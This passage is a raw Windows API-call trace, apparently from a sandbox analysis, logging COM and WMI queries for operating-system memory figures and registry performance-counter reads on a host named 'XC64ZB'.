riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b202d18) returned 0x0 [0281.229] IUnknown:QueryInterface (in: This=0x1b287040, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b287048) returned 0x0 [0281.229] IClientSecurity:SetBlanket (This=0x1b287048, pProxy=0x1b287040, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0281.231] IUnknown:Release (This=0x1b287048) returned 0x2 [0281.231] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0281.231] CoTaskMemFree (pv=0x1d1e6810) [0281.231] IUnknown:QueryInterface (in: This=0x1b287040, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b202d18) returned 0x0 [0281.232] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0281.232] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0281.233] IUnknown:QueryInterface (in: This=0x1b287040, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0281.233] WbemLocator:IUnknown:AddRef (This=0x1b202d18) returned 0x3 [0281.233] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0281.233] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0281.233] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b202bf8) returned 0x0 [0281.233] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202bf8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0281.234] WbemLocator:IUnknown:Release (This=0x1b202bf8) returned 0x3 [0281.234] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0281.234] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0281.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b202ce0) returned 0x0 [0281.234] WbemLocator:IRpcOptions:Query (in: This=0x1b202ce0, pPrx=0x1b202d18, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0281.234] WbemLocator:IUnknown:Release (This=0x1b202ce0) returned 0x3 [0281.234] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x2 [0281.234] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0281.234] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0281.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b287040) returned 0x0 [0281.234] IUnknown:AddRef (This=0x1b287040) returned 0x4 [0281.234] IUnknown:Release (This=0x1b287040) returned 0x3 [0281.234] IUnknown:Release (This=0x1b287040) returned 0x2 [0281.234] IUnknown:Release (This=0x1b286080) returned 0x2 [0281.234] SysStringLen (param_1=0x0) returned 0x0 [0281.235] IEnumWbemClassObject:Reset (This=0x1b287040) returned 0x0 [0281.235] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0e80 [0281.235] IEnumWbemClassObject:Next (in: This=0x1b287040, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0e80, puReturned=0x290d288 | out: apObjects=0x1d1c0e80*=0x1b269210, puReturned=0x290d288*=0x1) returned 0x0 [0281.241] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b269210) returned 0x0 [0281.241] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0281.241] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0281.242] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0281.242] IUnknown:AddRef (This=0x1b269210) returned 0x3 [0281.242] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0281.242] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0281.242] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b269218) returned 0x0 [0281.242] IMarshal:GetUnmarshalClass (in: This=0x1b269218, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0281.242] IUnknown:Release (This=0x1b269218) returned 0x3 [0281.242] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0281.242] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0281.242] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0281.242] IUnknown:Release (This=0x1b269210) returned 0x2 [0281.243] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0281.243] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0281.243] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b269210) returned 0x0 [0281.243] IUnknown:AddRef (This=0x1b269210) returned 0x4 [0281.243] IUnknown:Release (This=0x1b269210) returned 0x3 [0281.243] IUnknown:Release (This=0x1b269210) returned 0x2 [0281.243] CoTaskMemFree (pv=0x1d1c0e80) [0281.243] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0281.243] IUnknown:AddRef (This=0x1b269210) returned 0x3 [0281.243] IWbemClassObject:Get (in: This=0x1b269210, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0281.243] IWbemClassObject:Get (in: This=0x1b269210, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0281.244] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0281.244] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0281.244] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0281.244] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0281.244] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0281.244] IUnknown:Release (This=0x77dd58) returned 0x1 [0281.247] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d218430) returned 0x0 [0281.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d218430, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0281.247] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d218430, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b294820) returned 0x0 [0281.247] WbemDefPath:IUnknown:Release (This=0x1d218430) returned 0x0 [0281.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b294820) returned 0x0 [0281.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0281.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0281.248] WbemDefPath:IUnknown:AddRef (This=0x1b294820) returned 0x3 [0281.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0281.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0281.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218490) returned 0x0 [0281.248] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218490, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0281.248] WbemDefPath:IUnknown:Release (This=0x1d218490) returned 0x3 [0281.248] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0281.248] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0281.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0281.248] WbemDefPath:IUnknown:Release (This=0x1b294820) returned 0x2 [0281.248] WbemDefPath:IUnknown:Release (This=0x1b294820) returned 0x1 [0281.248] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0281.249] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0281.249] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b294820) returned 0x0 [0281.249] WbemDefPath:IUnknown:AddRef (This=0x1b294820) returned 0x3 [0281.249] WbemDefPath:IUnknown:Release (This=0x1b294820) returned 0x2 [0281.249] WbemDefPath:IWbemPath:SetText (This=0x1b294820, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0281.249] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0281.249] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0281.249] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0281.249] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0281.249] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0281.249] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0281.249] IWbemClassObject:Get (in: This=0x1b269210, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290e050*=0, plFlavor=0x290e054*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x290e050*=21, plFlavor=0x290e054*=0) returned 0x0 [0281.250] SysStringByteLen (bstr="1359840") returned 0xe [0281.250] SysStringByteLen (bstr="1359840") returned 0xe [0281.250] IWbemClassObject:Get (in: This=0x1b269210, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290e050*=21, plFlavor=0x290e054*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x290e050*=21, plFlavor=0x290e054*=0) returned 0x0 [0281.250] SysStringByteLen (bstr="1359840") returned 0xe [0281.250] SysStringByteLen (bstr="1359840") returned 0xe [0281.251] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0281.251] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0281.251] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0281.251] IWbemClassObject:Get (in: This=0x1b269210, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290e248*=0, plFlavor=0x290e24c*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x290e248*=21, plFlavor=0x290e24c*=0) returned 0x0 [0281.251] SysStringByteLen (bstr="2096620") returned 0xe [0281.251] SysStringByteLen (bstr="2096620") returned 0xe [0281.251] IWbemClassObject:Get (in: This=0x1b269210, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290e248*=21, plFlavor=0x290e24c*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x290e248*=21, plFlavor=0x290e24c*=0) returned 0x0 [0281.251] SysStringByteLen (bstr="2096620") returned 0xe [0281.251] SysStringByteLen (bstr="2096620") returned 0xe [0281.251] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0281.251] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0281.251] IUnknown:Release (This=0x1b287040) returned 0x0 [0283.322] GetTickCount64 () returned 0x1ac3663 [0283.327] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0283.328] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x26ece98, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x26ece98*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0283.331] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0283.331] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x26fe2b0, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x26fe2b0*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0283.339] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0283.339] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0283.339] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0283.339] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0283.340] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0283.340] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0283.340] IUnknown:Release (This=0x77dd58) returned 0x1 [0283.341] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d218610) returned 0x0 [0283.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218610, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0283.342] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d218610, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: 